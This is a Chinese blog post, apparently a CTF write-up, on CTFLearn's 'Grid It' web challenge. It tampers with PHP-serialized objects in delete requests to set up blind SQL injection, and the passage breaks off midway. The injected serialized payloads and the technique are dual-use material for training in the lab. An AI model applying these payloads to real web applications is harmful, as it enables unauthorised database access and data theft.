CTFLearn Web-Grid It

这篇博客介绍了CTFLearn的Web-Grid挑战,涉及注册登录、添加删除点的功能。作者发现删除点的请求参数包含可序列化的对象,允许通过修改参数进行操作。通过SQL盲注技术,作者成功探测到数据库中的表名和列名,揭示了存在一个管理员账号。最终,经过解密过程,找到了用户名和密码,从而获取了flag。
摘要由CSDN通过智能技术生成

CTFLearn Web-Grid It

打开网页有两个页面:登录和注册,首先尝试注册一个admin用户,无果,猜测系统已有一个admin用户;尝试下用户名注入,无果。于是先注册一个普通账号,登录进去看看进一步的功能。
登录后主要可进行以下几个操作:

  1. 添加point
  2. 删除point

添加point时为POST

https://web.ctflearn.com/grid/controller.php?action=add_point```
data: x=34&y=46

删除point时为``GET```:

https://web.ctflearn.com/grid/controller.php?action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:1:%222%22;s:1:%22y%22;s:1:%222%22;s:2:%22ID%22;s:7:%221095693%22or%221;}

经尝试,添加point提交的参数限定为数字,无法构造其他数据上传,故先放在一边。观察删除时提交的参数,发现point参数是一串编码后的php序列化对象,反序列化看看:

__PHP_Incomplete_Class Object
(
    [__PHP_Incomplete_Class_Name] => point
    [x] => 2
    [y] => 2
    [ID] => 1095693
)

可以看到该对象包含了3个参数,分别描述所删除point的x坐标、y坐标以及ID,并且在序列化对象中这些参数是以字符形式存在(s)。
尝试修改这些参数查看是否有限制,比如将ID中的数字改为字母:

/grid/controller.php?action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:1:%222%22;s:1:%22y%22;s:1:%222%22;s:2:%22ID%22;s:7:%22109569a%22;}

发现并没有报错提示,说明没有对传入的类型做限制。在提交delete请求时,会执行形如以下的操作:

delete from point_table where id = $id

传入的php序列化对象是可控的,可以考虑进行sql注入
首先尝试一下修改delete时提交的GET请求参数看看是否执行成功,例如我们新建一个point,ID为1095693,x为67,y为41,则在burp中修改delete请求中point字段的值:

/grid/controller.php?action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:2:%2267%22;s:1:%22y%22;s:2:%2241%22;s:2:%22ID%22;s:7:%221095694%22;}

注意s代表字符,s:后面的数字代表长度,修改数值的时候要注意与长度对应,否则会提示:

Notice: unserialize(): Error at offset 62 of 70 bytes in /usr/share/nginx/html/web/grid/controller.phpon line 65

Fatal error: Call to a member function delete() on a non-object in /usr/share/nginx/html/web/grid/controller.php on line 66

提交请求后造次刷新页面,发现ID为1095694的point已被成功删除。
接下来构造id值进行sql注入,由于没有任何回显,所以这里只能采用盲注:

delete from point_table where id=xx and (other sql query)

如果query为真,则delete可执行成功,对应ID的point被删除。我们可以通过point是否被删除,来判断注入的s

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值